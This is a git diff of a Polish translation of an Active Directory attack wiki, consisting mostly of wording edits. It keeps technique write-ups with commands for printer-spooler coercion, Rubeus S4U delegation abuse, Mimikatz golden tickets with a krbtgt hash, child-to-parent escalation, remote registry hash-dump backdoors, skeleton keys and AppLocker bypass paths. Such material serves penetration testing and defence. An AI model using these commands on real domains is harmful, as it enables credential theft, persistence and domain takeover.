```bash . .\Get-SpoolStatus.ps1 ForEach ($server in Get-Content servers.txt) {Get-SpoolStatus $server} @@ -41,7 +41,7 @@ printerbug.py 'domain/username:password'@ ``` ### Łączenie z Nieograniczoną Delegacją -Jeśli atakujący już skompromitował komputer z [Nieograniczoną Delegacją](unconstrained-delegation.md), atakujący może **sprawić, że drukarka uwierzytelni się w tym komputerze**. Z powodu nieograniczonej delegacji, **TGT** **konta komputera drukarki** będzie **zapisane w** **pamięci** komputera z nieograniczoną delegacją. Ponieważ atakujący już skompromitował ten host, będzie w stanie **odzyskać ten bilet** i go nadużyć ([Pass the Ticket](pass-the-ticket.md)). +Jeśli atakujący już skompromitował komputer z [Nieograniczoną Delegacją](unconstrained-delegation.md), atakujący mógłby **sprawić, że drukarka uwierzytelni się w tym komputerze**. Z powodu nieograniczonej delegacji, **TGT** **konta komputera drukarki** będzie **zapisane w** **pamięci** komputera z nieograniczoną delegacją. Ponieważ atakujący już skompromitował ten host, będzie w stanie **odzyskać ten bilet** i go nadużyć ([Pass the Ticket](pass-the-ticket.md)). ## Wymuszenie uwierzytelnienia RCP @@ -49,7 +49,7 @@ Jeśli atakujący już skompromitował komputer z [Nieograniczoną Delegacją](u ## PrivExchange -Atak `PrivExchange` jest wynikiem luki znalezionej w **funkcji `PushSubscription` serwera Exchange**. Ta funkcja pozwala serwerowi Exchange na wymuszenie przez dowolnego użytkownika domeny z skrzynką pocztową uwierzytelnienia do dowolnego hosta dostarczonego przez klienta za pośrednictwem HTTP. +Atak `PrivExchange` jest wynikiem luki znalezionej w **funkcji `PushSubscription` serwera Exchange**. Funkcja ta pozwala serwerowi Exchange na wymuszenie przez dowolnego użytkownika domeny z skrzynką pocztową uwierzytelnienia do dowolnego hosta dostarczonego przez klienta za pośrednictwem HTTP. Domyślnie **usługa Exchange działa jako SYSTEM** i ma nadmierne uprawnienia (konkretnie, ma **uprawnienia WriteDacl na domenie przed 2019 rokiem Cumulative Update**). Ta luka może być wykorzystana do umożliwienia **przekazywania informacji do LDAP i następnie wydobycia bazy danych NTDS domeny**. W przypadkach, gdy przekazywanie do LDAP nie jest możliwe, ta luka może być nadal używana do przekazywania i uwierzytelniania do innych hostów w obrębie domeny. Udane wykorzystanie tego ataku zapewnia natychmiastowy dostęp do administratora domeny z dowolnym uwierzytelnionym kontem użytkownika domeny. @@ -84,9 +84,9 @@ Możliwe jest użycie certutil.exe lolbin (podpisany przez Microsoft) do wymusze ```bash certutil.exe -syncwithWU \\127.0.0.1\share ``` -## Wstrzykiwanie HTML +## HTML injection -### Przez e-mail +### Via email Jeśli znasz **adres e-mail** użytkownika, który loguje się na maszynie, którą chcesz skompromitować, możesz po prostu wysłać mu **e-mail z obrazem 1x1** takim jak ```html @@ -96,13 +96,13 @@ i gdy to otworzy, spróbuje się uwierzytelnić. ### MitM -Jeśli możesz przeprowadzić atak MitM na komputer i wstrzyknąć HTML na stronie, którą będzie przeglądał, możesz spróbować wstrzyknąć obrazek taki jak poniższy na stronie: +Jeśli możesz przeprowadzić atak MitM na komputer i wstrzyknąć HTML na stronie, którą będzie wizualizować, możesz spróbować wstrzyknąć obrazek taki jak poniższy na stronie: ```html ``` ## Łamanie NTLMv1 Jeśli możesz przechwycić [wyzwania NTLMv1, przeczytaj tutaj, jak je złamać](../ntlm/#ntlmv1-attack).\ -&#xNAN;_Rem pamiętaj, że aby złamać NTLMv1, musisz ustawić wyzwanie Respondera na "1122334455667788"_ +&#xNAN;_Remember, że aby złamać NTLMv1, musisz ustawić wyzwanie Respondera na "1122334455667788"_ {{#include ../../banners/hacktricks-training.md}} diff --git a/src/windows-hardening/active-directory-methodology/privileged-groups-and-token-privileges.md b/src/windows-hardening/active-directory-methodology/privileged-groups-and-token-privileges.md index 1c24ba7b3..f521d4078 100644 --- a/src/windows-hardening/active-directory-methodology/privileged-groups-and-token-privileges.md +++ b/src/windows-hardening/active-directory-methodology/privileged-groups-and-token-privileges.md @@ -16,13 +16,13 @@ Aby zidentyfikować członków tej grupy, wykonuje się następujące polecenie: ```powershell Get-NetGroupMember -Identity "Account Operators" -Recurse ``` -Dodawanie nowych użytkowników jest dozwolone, podobnie jak lokalne logowanie do DC01. +Dodawanie nowych użytkowników jest dozwolone, a także lokalne logowanie do DC01. ## Grupa AdminSDHolder Lista Kontroli Dostępu (ACL) grupy **AdminSDHolder** jest kluczowa, ponieważ ustala uprawnienia dla wszystkich "chronionych grup" w Active Directory, w tym grup o wysokich uprawnieniach. Mechanizm ten zapewnia bezpieczeństwo tych grup, zapobiegając nieautoryzowanym modyfikacjom. -Napastnik mógłby to wykorzystać, modyfikując ACL grupy **AdminSDHolder**, przyznając pełne uprawnienia standardowemu użytkownikowi. To skutecznie dałoby temu użytkownikowi pełną kontrolę nad wszystkimi chronionymi grupami. Jeśli uprawnienia tego użytkownika zostaną zmienione lub usunięte, zostaną automatycznie przywrócone w ciągu godziny z powodu konstrukcji systemu. +Atakujący mógłby to wykorzystać, modyfikując ACL grupy **AdminSDHolder**, przyznając pełne uprawnienia standardowemu użytkownikowi. To skutecznie dałoby temu użytkownikowi pełną kontrolę nad wszystkimi chronionymi grupami. Jeśli uprawnienia tego użytkownika zostaną zmienione lub usunięte, zostaną automatycznie przywrócone w ciągu godziny z powodu konstrukcji systemu. Polecenia do przeglądania członków i modyfikowania uprawnień obejmują: ```powershell @@ -34,7 +34,7 @@ Dostępny jest skrypt, który przyspiesza proces przywracania: [Invoke-ADSDPropa Aby uzyskać więcej informacji, odwiedź [ired.team](https://ired.team/offensive-security-experiments/active-directory-kerberos-abuse/how-to-abuse-and-backdoor-adminsdholder-to-obtain-domain-admin-persistence). -## Kosz na AD +## AD Recycle Bin Członkostwo w tej grupie umożliwia odczyt usuniętych obiektów Active Directory, co może ujawnić wrażliwe informacje: ```bash @@ -130,7 +130,7 @@ Aby zobaczyć praktyczną demonstrację, zobacz [DEMO VIDEO WITH IPPSEC](https:/ ## DnsAdmins -Członkowie grupy **DnsAdmins** mogą wykorzystać swoje uprawnienia do załadowania dowolnego DLL z uprawnieniami SYSTEM na serwerze DNS, często hostowanym na kontrolerach domeny. Ta zdolność pozwala na znaczny potencjał do eksploatacji. +Członkowie grupy **DnsAdmins** mogą wykorzystać swoje uprawnienia do załadowania dowolnego DLL z uprawnieniami SYSTEM na serwerze DNS, często hostowanym na kontrolerach domeny. Ta zdolność pozwala na znaczny potencjał do wykorzystania. Aby wyświetlić członków grupy DnsAdmins, użyj: ```powershell @@ -171,9 +171,9 @@ Możliwe jest również użycie mimilib.dll do wykonania poleceń, modyfikując ### Rekord WPAD dla MitM -DnsAdmins mogą manipulować rekordami DNS, aby przeprowadzać ataki Man-in-the-Middle (MitM), tworząc rekord WPAD po wyłączeniu globalnej listy blokad zapytań. Narzędzia takie jak Responder lub Inveigh mogą być używane do fałszowania i przechwytywania ruchu sieciowego. +DnsAdmins mogą manipulować rekordami DNS, aby przeprowadzać ataki Man-in-the-Middle (MitM), tworząc rekord WPAD po wyłączeniu globalnej listy blokad zapytań. Narzędzia takie jak Responder lub Inveigh mogą być używane do spoofingu i przechwytywania ruchu sieciowego. -### Czytelnicy dzienników zdarzeń +### Czytelnicy dzienników zdarzeń Członkowie mogą uzyskiwać dostęp do dzienników zdarzeń, potencjalnie znajdując wrażliwe informacje, takie jak hasła w postaci czystego tekstu lub szczegóły wykonania poleceń: ```powershell # Get members and search logs for sensitive information @@ -189,7 +189,7 @@ Get-NetGroupMember -Identity "Exchange Windows Permissions" -Recurse ``` ## Hyper-V Administrators -Administratorzy Hyper-V mają pełny dostęp do Hyper-V, co może być wykorzystane do przejęcia kontroli nad wirtualizowanymi kontrolerami domeny. Obejmuje to klonowanie aktywnych kontrolerów domeny i wydobywanie skrótów NTLM z pliku NTDS.dit. +Administratorzy Hyper-V mają pełny dostęp do Hyper-V, co może być wykorzystane do przejęcia kontroli nad wirtualizowanymi kontrolerami domeny. Obejmuje to klonowanie aktywnych kontrolerów domeny i wydobywanie hashy NTLM z pliku NTDS.dit. ### Przykład wykorzystania @@ -203,19 +203,19 @@ Uwaga: Wykorzystanie twardych linków zostało złagodzone w ostatnich aktualiza ## Zarządzanie Organizacją -W środowiskach, w których zainstalowano **Microsoft Exchange**, specjalna grupa znana jako **Zarządzanie Organizacją** ma znaczące uprawnienia. Grupa ta ma przywilej **dostępu do skrzynek pocztowych wszystkich użytkowników domeny** i utrzymuje **pełną kontrolę nad jednostką organizacyjną 'Grupy zabezpieczeń Microsoft Exchange'** (OU). Kontrola ta obejmuje grupę **`Exchange Windows Permissions`**, która może być wykorzystana do eskalacji uprawnień. +W środowiskach, w których zainstalowano **Microsoft Exchange**, specjalna grupa znana jako **Zarządzanie Organizacją** ma znaczące uprawnienia. Grupa ta ma przywilej **dostępu do skrzynek pocztowych wszystkich użytkowników domeny** i utrzymuje **pełną kontrolę nad jednostką organizacyjną 'Microsoft Exchange Security Groups'** (OU). Kontrola ta obejmuje grupę **`Exchange Windows Permissions`**, która może być wykorzystana do eskalacji uprawnień. -### Wykorzystanie Uprawnień i Komendy +### Wykorzystanie Uprawnień i Polecenia -#### Operatorzy Drukarek +#### Operatorzy Drukowania -Członkowie grupy **Operatorzy Drukarek** mają przyznane kilka uprawnień, w tym **`SeLoadDriverPrivilege`**, które pozwala im **logować się lokalnie do kontrolera domeny**, wyłączać go i zarządzać drukarkami. Aby wykorzystać te uprawnienia, szczególnie jeśli **`SeLoadDriverPrivilege`** nie jest widoczne w kontekście bez podwyższonych uprawnień, konieczne jest ominięcie Kontroli Konta Użytkownika (UAC). +Członkowie grupy **Operatorzy Drukowania** mają przyznane kilka uprawnień, w tym **`SeLoadDriverPrivilege`**, które pozwala im **logować się lokalnie do kontrolera domeny**, wyłączać go i zarządzać drukarkami. Aby wykorzystać te uprawnienia, szczególnie jeśli **`SeLoadDriverPrivilege`** nie jest widoczne w kontekście bez podwyższonych uprawnień, konieczne jest ominięcie Kontroli Konta Użytkownika (UAC). -Aby wyświetlić członków tej grupy, używa się następującej komendy PowerShell: +Aby wylistować członków tej grupy, używa się następującego polecenia PowerShell: ```powershell Get-NetGroupMember -Identity "Print Operators" -Recurse ``` -Aby uzyskać bardziej szczegółowe techniki eksploatacji związane z **`SeLoadDriverPrivilege`**, należy skonsultować się z konkretnymi zasobami bezpieczeństwa. +Dla bardziej szczegółowych technik eksploatacji związanych z **`SeLoadDriverPrivilege`**, należy skonsultować się z konkretnymi zasobami bezpieczeństwa. #### Użytkownicy pulpitu zdalnego @@ -237,7 +237,7 @@ Aby uzyskać informacje na temat technik eksploatacji związanych z **WinRM**, n #### Operatorzy serwera -Grupa ta ma uprawnienia do wykonywania różnych konfiguracji na kontrolerach domeny, w tym uprawnienia do tworzenia kopii zapasowych i przywracania, zmiany czasu systemowego oraz wyłączania systemu. Aby wylistować członków, użyj podanego polecenia: +Ta grupa ma uprawnienia do wykonywania różnych konfiguracji na kontrolerach domeny, w tym uprawnienia do tworzenia kopii zapasowych i przywracania, zmiany czasu systemowego oraz wyłączania systemu. Aby wylistować członków, użyj podanego polecenia: ```powershell Get-NetGroupMember -Identity "Server Operators" -Recurse ``` diff --git a/src/windows-hardening/active-directory-methodology/rdp-sessions-abuse.md b/src/windows-hardening/active-directory-methodology/rdp-sessions-abuse.md index 48a441abe..1e6633987 100644 --- a/src/windows-hardening/active-directory-methodology/rdp-sessions-abuse.md +++ b/src/windows-hardening/active-directory-methodology/rdp-sessions-abuse.md @@ -6,7 +6,7 @@ Jeśli **grupa zewnętrzna** ma **dostęp RDP** do jakiegokolwiek **komputera** w bieżącej domenie, **atakujący** może **skompromentować ten komputer i czekać na niego**. -Gdy ten użytkownik uzyska dostęp przez RDP, **atakujący może przejąć sesję tego użytkownika** i nadużyć jego uprawnień w zewnętrznej domenie. +Gdy ten użytkownik uzyska dostęp przez RDP, **atakujący może przejąć sesję tego użytkownika** i wykorzystać jego uprawnienia w zewnętrznej domenie. ```powershell # Supposing the group "External Users" has RDP access in the current domain ## lets find where they could access diff --git a/src/windows-hardening/active-directory-methodology/resource-based-constrained-delegation.md b/src/windows-hardening/active-directory-methodology/resource-based-constrained-delegation.md index b6846585c..a269b8bdc 100644 --- a/src/windows-hardening/active-directory-methodology/resource-based-constrained-delegation.md +++ b/src/windows-hardening/active-directory-methodology/resource-based-constrained-delegation.md @@ -25,9 +25,9 @@ Jednakże, jeśli **TGS** użyte w **S4U2Proxy** **NIE jest Forwardable**, prób Załóżmy, że atakujący ma już **uprawnienia równoważne do zapisu nad komputerem ofiary**. 1. Atakujący **kompromituje** konto, które ma **SPN** lub **tworzy jedno** (“Usługa A”). Zauważ, że **jakikolwiek** _Użytkownik Administrator_ bez żadnych innych specjalnych uprawnień może **utworzyć** do 10 **obiektów Komputera (**_**MachineAccountQuota**_**)** i ustawić im **SPN**. Więc atakujący może po prostu stworzyć obiekt Komputera i ustawić SPN. -2. Atakujący **nadużywa swojego uprawnienia ZAPISU** nad komputerem ofiary (UsługaB), aby skonfigurować **delegację ograniczoną na bazie zasobów, aby pozwolić UsłudzeA na podszywanie się pod dowolnego użytkownika** w stosunku do tego komputera ofiary (UsługaB). +2. Atakujący **nadużywa swojego uprawnienia ZAPISU** nad komputerem ofiary (Usługa B), aby skonfigurować **delegację ograniczoną na bazie zasobów, aby pozwolić Usłudze A na podszywanie się pod dowolnego użytkownika** w stosunku do tego komputera ofiary (Usługa B). 3. Atakujący używa Rubeus, aby przeprowadzić **pełny atak S4U** (S4U2Self i S4U2Proxy) z Usługi A do Usługi B dla użytkownika **z uprzywilejowanym dostępem do Usługi B**. -1. S4U2Self (z konta SPN, które zostało skompromitowane/stworzone): Prosi o **TGS Administratora dla mnie** (Nie Forwardable). +1. S4U2Self (z konta SPN kompromitowanego/tworzonego): Prosi o **TGS Administratora dla mnie** (Nie Forwardable). 2. S4U2Proxy: Używa **nie Forwardable TGS** z poprzedniego kroku, aby poprosić o **TGS** od **Administratora** do **komputera ofiary**. 3. Nawet jeśli używasz nie Forwardable TGS, ponieważ wykorzystujesz Delegację Ograniczoną na Bazie Zasobów, to zadziała. 4. Atakujący może **przekazać bilet** i **podszyć się** pod użytkownika, aby uzyskać **dostęp do UsługiB ofiary**. @@ -86,9 +86,9 @@ Możesz wygenerować więcej biletów, pytając tylko raz, używając parametru rubeus.exe s4u /user:FAKECOMPUTER$ /aes256: /impersonateuser:administrator /msdsspn:cifs/victim.domain.local /altservice:krbtgt,cifs,host,http,winrm,RPCSS,wsman,ldap /domain:domain.local /ptt ``` > [!CAUTION] -> Zauważ, że użytkownicy mają atrybut o nazwie "**Nie można delegować**". Jeśli użytkownik ma ten atrybut ustawiony na True, nie będziesz w stanie go podszyć. Ta właściwość jest widoczna w bloodhound. +> Zauważ, że użytkownicy mają atrybut o nazwie "**Cannot be delegated**". Jeśli użytkownik ma ten atrybut ustawiony na True, nie będziesz w stanie go podszyć. Ta właściwość jest widoczna w bloodhound. -### Dostęp +### Accessing Ostatnia linia poleceń wykona **pełny atak S4U i wstrzyknie TGS** z Administratora do hosta ofiary w **pamięci**.\ W tym przykładzie zażądano TGS dla usługi **CIFS** od Administratora, więc będziesz mógł uzyskać dostęp do **C$**: @@ -105,7 +105,7 @@ Dowiedz się o [**dostępnych biletach serwisowych tutaj**](silver-ticket.md#ava - **`KRB_AP_ERR_SKEW`**: Oznacza to, że czas bieżącego komputera różni się od czasu DC i kerberos nie działa poprawnie. - **`preauth_failed`**: Oznacza to, że podana nazwa użytkownika + hashe nie działają przy logowaniu. Mogłeś zapomnieć wstawić "$" w nazwie użytkownika podczas generowania hashy (`.\Rubeus.exe hash /password:123456 /user:FAKECOMPUTER$ /domain:domain.local`) - **`KDC_ERR_BADOPTION`**: Może to oznaczać: - - Użytkownik, którego próbujesz udawać, nie ma dostępu do żądanej usługi (ponieważ nie możesz go udawać lub nie ma wystarczających uprawnień) + - Użytkownik, którego próbujesz naśladować, nie ma dostępu do żądanej usługi (ponieważ nie możesz go naśladować lub nie ma wystarczających uprawnień) - Żądana usługa nie istnieje (jeśli prosisz o bilet dla winrm, ale winrm nie działa) - Utworzony fakecomputer stracił swoje uprawnienia do podatnego serwera i musisz je przywrócić. diff --git a/src/windows-hardening/active-directory-methodology/security-descriptors.md b/src/windows-hardening/active-directory-methodology/security-descriptors.md index d0883fd42..ca1e9acb9 100644 --- a/src/windows-hardening/active-directory-methodology/security-descriptors.md +++ b/src/windows-hardening/active-directory-methodology/security-descriptors.md @@ -26,7 +26,7 @@ Set-RemotePSRemoting -UserName student1 -ComputerName -Remove #Remo ``` ### Zdalny dostęp do hashy -Uzyskaj dostęp do **rejestru** i **zrzucaj hashe**, tworząc **tylną furtkę w rejestrze używając** [**DAMP**](https://github.com/HarmJ0y/DAMP)**,** aby w każdej chwili móc odzyskać **hash komputera**, **SAM** oraz wszelkie **cached AD** poświadczenia na komputerze. Dlatego bardzo przydatne jest nadanie tego uprawnienia **zwykłemu użytkownikowi w stosunku do komputera kontrolera domeny**: +Uzyskaj dostęp do **rejestru** i **zrzucaj hashe**, tworząc **tylną furtkę w rejestrze używając** [**DAMP**](https://github.com/HarmJ0y/DAMP)**,** aby w każdej chwili móc odzyskać **hash komputera**, **SAM** oraz wszelkie **cached AD** poświadczenia na komputerze. Dlatego bardzo przydatne jest nadanie tej zgody **zwykłemu użytkownikowi w stosunku do komputera kontrolera domeny**: ```bash # allows for the remote retrieval of a system's machine and local account hashes, as well as its domain cached credentials. Add-RemoteRegBackdoor -ComputerName -Trustee student1 -Verbose @@ -40,6 +40,6 @@ Get-RemoteLocalAccountHash -ComputerName -Verbose # Abuses the ACL backdoor set by Add-RemoteRegBackdoor to remotely retrieve the domain cached credentials for the specified machine. Get-RemoteCachedCredential -ComputerName -Verbose ``` -Sprawdź [**Silver Tickets**](silver-ticket.md), aby dowiedzieć się, jak możesz wykorzystać hash konta komputera kontrolera domeny. +Sprawdź [**Silver Tickets**](silver-ticket.md), aby dowiedzieć się, jak możesz wykorzystać hash konta komputera kontrolera domeny. {{#include ../../banners/hacktricks-training.md}} diff --git a/src/windows-hardening/active-directory-methodology/sid-history-injection.md b/src/windows-hardening/active-directory-methodology/sid-history-injection.md index 0a4b2fb3c..7f82aee00 100644 --- a/src/windows-hardening/active-directory-methodology/sid-history-injection.md +++ b/src/windows-hardening/active-directory-methodology/sid-history-injection.md @@ -8,7 +8,7 @@ Celem **ataku wstrzykiwania historii SID** jest wspieranie **migracji użytkowni Istnieją dwie metody wykonania tego ataku: poprzez stworzenie **Złotego Biletu** lub **Diamentowego Biletu**. -Aby zidentyfikować SID dla grupy **"Enterprise Admins"**, należy najpierw zlokalizować SID domeny głównej. Po zidentyfikowaniu, SID grupy Enterprise Admins można skonstruować, dodając `-519` do SID domeny głównej. Na przykład, jeśli SID domeny głównej to `S-1-5-21-280534878-1496970234-700767426`, to wynikowy SID dla grupy "Enterprise Admins" będzie `S-1-5-21-280534878-1496970234-700767426-519`. +Aby zidentyfikować SID dla grupy **"Enterprise Admins"**, należy najpierw zlokalizować SID domeny głównej. Po identyfikacji, SID grupy Enterprise Admins można skonstruować, dodając `-519` do SID domeny głównej. Na przykład, jeśli SID domeny głównej to `S-1-5-21-280534878-1496970234-700767426`, to wynikowy SID dla grupy "Enterprise Admins" będzie `S-1-5-21-280534878-1496970234-700767426-519`. Można również użyć grupy **Domain Admins**, której SID kończy się na **512**. @@ -59,7 +59,7 @@ diamond-ticket.md .\kirbikator.exe lsa .\CIFS.mcorpdc.moneycorp.local.kirbi ls \\mcorp-dc.moneycorp.local\c$ ``` -Zwiększ uprawnienia do DA roota lub administratora przedsiębiorstwa, używając hasha KRBTGT skompromitowanej domeny: +Zwiększ uprawnienia do DA roota lub administratora Enterprise, używając hasha KRBTGT skompromitowanej domeny: ```bash Invoke-Mimikatz -Command '"kerberos::golden /user:Administrator /domain:dollarcorp.moneycorp.local /sid:S-1-5-211874506631-3219952063-538504511 /sids:S-1-5-21-280534878-1496970234700767426-519 /krbtgt:ff46a9d8bd66c6efd77603da26796f35 /ticket:C:\AD\Tools\krbtgt_tkt.kirbi"' @@ -99,7 +99,7 @@ export KRB5CCNAME=hacker.ccache # psexec in domain controller of root psexec.py /Administrator@dc.root.local -k -no-pass -target-ip 10.10.10.10 ``` -#### Automatycznie za pomocą [raiseChild.py](https://github.com/SecureAuthCorp/impacket/blob/master/examples/raiseChild.py) +#### Automatycznie przy użyciu [raiseChild.py](https://github.com/SecureAuthCorp/impacket/blob/master/examples/raiseChild.py) To jest skrypt Impacket, który **automatyzuje eskalację z domeny podrzędnej do nadrzędnej**. Skrypt wymaga: @@ -108,12 +108,12 @@ To jest skrypt Impacket, który **automatyzuje eskalację z domeny podrzędnej d Przebieg jest następujący: -- Uzyskuje SID grupy Enterprise Admins w domenie nadrzędnej -- Pobiera hash konta KRBTGT w domenie podrzędnej +- Uzyskuje SID dla grupy Enterprise Admins w domenie nadrzędnej +- Pobiera hash dla konta KRBTGT w domenie podrzędnej - Tworzy Złoty Bilet - Loguje się do domeny nadrzędnej -- Pobiera poświadczenia dla konta Administratora w domenie nadrzędnej -- Jeśli określono przełącznik `target-exec`, uwierzytelnia się do kontrolera domeny domeny nadrzędnej za pomocą Psexec. +- Pobiera poświadczenia dla konta Administrator w domenie nadrzędnej +- Jeśli określono przełącznik `target-exec`, uwierzytelnia się do kontrolera domeny nadrzędnej za pomocą Psexec. ```bash raiseChild.py -target-exec 10.10.10.10 /username ``` diff --git a/src/windows-hardening/active-directory-methodology/silver-ticket.md b/src/windows-hardening/active-directory-methodology/silver-ticket.md index e3e4492ee..1520ff0ae 100644 --- a/src/windows-hardening/active-directory-methodology/silver-ticket.md +++ b/src/windows-hardening/active-directory-methodology/silver-ticket.md @@ -38,7 +38,7 @@ Usługa CIFS jest wyróżniana jako powszechny cel do uzyskania dostępu do syst | PowerShell Remoting |

HOST

HTTP

W zależności od systemu operacyjnego także:

WSMAN

RPCSS

| | WinRM |

HOST

HTTP

W niektórych przypadkach możesz po prostu poprosić o: WINRM

| | Zaplanowane zadania | HOST | -| Udostępnianie plików Windows, także psexec | CIFS | +| Udostępnianie plików w systemie Windows, także psexec | CIFS | | Operacje LDAP, w tym DCSync | LDAP | | Narzędzia do zdalnej administracji serwerów Windows |

RPCSS

LDAP

CIFS

| | Złote bilety | krbtgt | @@ -59,7 +59,7 @@ W poniższych przykładach wyobraźmy sobie, że bilet został odzyskany, podszy ### CIFS -Dzięki temu biletowi będziesz mógł uzyskać dostęp do folderów `C$` i `ADMIN$` za pośrednictwem **SMB** (jeśli są wystawione) i skopiować pliki do części zdalnego systemu plików, po prostu robiąc coś takiego: +Dzięki temu biletowi będziesz mógł uzyskać dostęp do folderów `C$` i `ADMIN$` za pomocą **SMB** (jeśli są wystawione) i skopiować pliki do części zdalnego systemu plików, po prostu robiąc coś takiego: ```bash dir \\vulnerable.computer\C$ dir \\vulnerable.computer\ADMIN$ diff --git a/src/windows-hardening/active-directory-methodology/skeleton-key.md b/src/windows-hardening/active-directory-methodology/skeleton-key.md index 2c73e24e2..eb90f88ab 100644 --- a/src/windows-hardening/active-directory-methodology/skeleton-key.md +++ b/src/windows-hardening/active-directory-methodology/skeleton-key.md @@ -6,11 +6,11 @@ Atak **Skeleton Key** to zaawansowana technika, która pozwala atakującym na **obejście uwierzytelniania Active Directory** poprzez **wstrzyknięcie hasła głównego** do kontrolera domeny. Umożliwia to atakującemu **uwierzytelnienie się jako dowolny użytkownik** bez jego hasła, skutecznie **przyznając mu nieograniczony dostęp** do domeny. -Można go przeprowadzić za pomocą [Mimikatz](https://github.com/gentilkiwi/mimikatz). Aby zrealizować ten atak, **wymagane są uprawnienia administratora domeny**, a atakujący musi celować w każdy kontroler domeny, aby zapewnić kompleksowe naruszenie. Jednak efekt ataku jest tymczasowy, ponieważ **ponowne uruchomienie kontrolera domeny eliminuje złośliwe oprogramowanie**, co wymaga ponownej implementacji dla utrzymania dostępu. +Można go przeprowadzić za pomocą [Mimikatz](https://github.com/gentilkiwi/mimikatz). Aby zrealizować ten atak, **wymagane są uprawnienia Domain Admin**, a atakujący musi celować w każdy kontroler domeny, aby zapewnić kompleksowe naruszenie. Jednak efekt ataku jest tymczasowy, ponieważ **ponowne uruchomienie kontrolera domeny eliminuje złośliwe oprogramowanie**, co wymaga ponownej implementacji dla utrzymania dostępu. **Wykonanie ataku** wymaga jednego polecenia: `misc::skeleton`. -## Środki zaradcze +## Mitigacje Strategie łagodzenia skutków takich ataków obejmują monitorowanie konkretnych identyfikatorów zdarzeń, które wskazują na instalację usług lub użycie wrażliwych uprawnień. W szczególności, poszukiwanie identyfikatora zdarzenia systemowego 7045 lub identyfikatora zdarzenia zabezpieczeń 4673 może ujawnić podejrzane działania. Dodatkowo, uruchomienie `lsass.exe` jako chronionego procesu może znacznie utrudnić działania atakujących, ponieważ wymaga to od nich użycia sterownika w trybie jądra, co zwiększa złożoność ataku. @@ -24,7 +24,7 @@ Oto polecenia PowerShell, aby wzmocnić środki bezpieczeństwa: Weryfikacja po ponownym uruchomieniu systemu jest kluczowa, aby upewnić się, że środki ochronne zostały pomyślnie zastosowane. Można to osiągnąć poprzez: `Get-WinEvent -FilterHashtable @{Logname='System';ID=12} | ?{$_.message -like "*protected process*` -## Odniesienia +## Referencje - [https://blog.netwrix.com/2022/11/29/skeleton-key-attack-active-directory/](https://blog.netwrix.com/2022/11/29/skeleton-key-attack-active-directory/) diff --git a/src/windows-hardening/active-directory-methodology/unconstrained-delegation.md b/src/windows-hardening/active-directory-methodology/unconstrained-delegation.md index 57addeac6..802ba8df3 100644 --- a/src/windows-hardening/active-directory-methodology/unconstrained-delegation.md +++ b/src/windows-hardening/active-directory-methodology/unconstrained-delegation.md @@ -4,7 +4,7 @@ ## Unconstrained delegation -To jest funkcja, którą Administrator Domeny może ustawić dla dowolnego **Komputera** w domenie. Następnie, za każdym razem, gdy **użytkownik loguje się** na Komputerze, **kopie TGT** tego użytkownika będą **wysyłane w TGS** dostarczanym przez DC **i zapisywane w pamięci w LSASS**. Więc, jeśli masz uprawnienia Administratora na maszynie, będziesz mógł **zrzucić bilety i podszyć się pod użytkowników** na dowolnej maszynie. +To jest funkcja, którą Administrator Domeny może ustawić dla dowolnego **Komputera** w obrębie domeny. Następnie, za każdym razem, gdy **użytkownik loguje się** na tym Komputerze, **kopie TGT** tego użytkownika będą **wysyłane w TGS** dostarczanym przez DC **i zapisywane w pamięci w LSASS**. Więc, jeśli masz uprawnienia Administratora na maszynie, będziesz mógł **zrzucić bilety i podszyć się pod użytkowników** na dowolnej maszynie. Jeśli więc administrator domeny loguje się na Komputerze z aktywowaną funkcją "Unconstrained Delegation", a ty masz lokalne uprawnienia administratora na tej maszynie, będziesz mógł zrzucić bilet i podszyć się pod Administratora Domeny wszędzie (privesc domeny). @@ -48,6 +48,6 @@ printers-spooler-service-abuse.md ### Łagodzenie - Ogranicz logowania DA/Admin do określonych usług -- Ustaw "Konto jest wrażliwe i nie może być delegowane" dla kont uprzywilejowanych. +- Ustaw "Konto jest wrażliwe i nie może być delegowane" dla uprzywilejowanych kont. {{#include ../../banners/hacktricks-training.md}} diff --git a/src/windows-hardening/authentication-credentials-uac-and-efs.md b/src/windows-hardening/authentication-credentials-uac-and-efs.md index 79cd86710..79479788e 100644 --- a/src/windows-hardening/authentication-credentials-uac-and-efs.md +++ b/src/windows-hardening/authentication-credentials-uac-and-efs.md @@ -26,14 +26,14 @@ Ta ścieżka rejestru zawiera konfiguracje i polityki stosowane przez AppLocker, ### Ominięcie -- Przydatne **Foldery do zapisu** do ominięcia polityki AppLocker: Jeśli AppLocker zezwala na wykonywanie czegokolwiek w `C:\Windows\System32` lub `C:\Windows`, istnieją **foldery do zapisu**, które możesz wykorzystać do **ominięcia tego**. +- Użyteczne **Foldery do zapisu** do ominięcia polityki AppLocker: Jeśli AppLocker pozwala na wykonywanie czegokolwiek w `C:\Windows\System32` lub `C:\Windows`, istnieją **foldery do zapisu**, które możesz wykorzystać do **ominięcia tego**. ``` C:\Windows\System32\Microsoft\Crypto\RSA\MachineKeys C:\Windows\System32\spool\drivers\color C:\Windows\Tasks C:\windows\tracing ``` -- Powszechnie **ufne** [**"LOLBAS"**](https://lolbas-project.github.io/) binaria mogą być również przydatne do obejścia AppLocker. +- Powszechnie **ufane** [**"LOLBAS"**](https://lolbas-project.github.io/) binaria mogą być również przydatne do obejścia AppLocker. - **Źle napisane zasady mogą być również obejście** - Na przykład, **``**, możesz stworzyć **folder o nazwie `allowed`** wszędzie, a będzie on dozwolony. - Organizacje często koncentrują się na **blokowaniu pliku wykonywalnego `%System32%\WindowsPowerShell\v1.0\powershell.exe`**, ale zapominają o **innych** [**lokacjach plików wykonywalnych PowerShell**](https://www.powershelladmin.com/wiki/PowerShell_Executables_File_System_Locations) takich jak `%SystemRoot%\SysWOW64\WindowsPowerShell\v1.0\powershell.exe` lub `PowerShell_ISE.exe`. @@ -50,7 +50,7 @@ Lokalne poświadczenia znajdują się w tym pliku, hasła są haszowane. **Poświadczenia** (haszowane) są **zapisywane** w **pamięci** tego podsystemu z powodów związanych z jednolitym logowaniem.\ **LSA** zarządza lokalną **polityką zabezpieczeń** (polityka haseł, uprawnienia użytkowników...), **uwierzytelnianiem**, **tokenami dostępu**...\ -LSA będzie tą, która **sprawdzi** podane poświadczenia w pliku **SAM** (dla lokalnego logowania) i **rozmawia** z **kontrolerem domeny**, aby uwierzytelnić użytkownika domeny. +LSA będzie tą, która **sprawdzi** podane poświadczenia w pliku **SAM** (dla lokalnego logowania) i **porozmawia** z **kontrolerem domeny**, aby uwierzytelnić użytkownika domeny. **Poświadczenia** są **zapisywane** wewnątrz **procesu LSASS**: bilety Kerberos, hasze NT i LM, łatwo 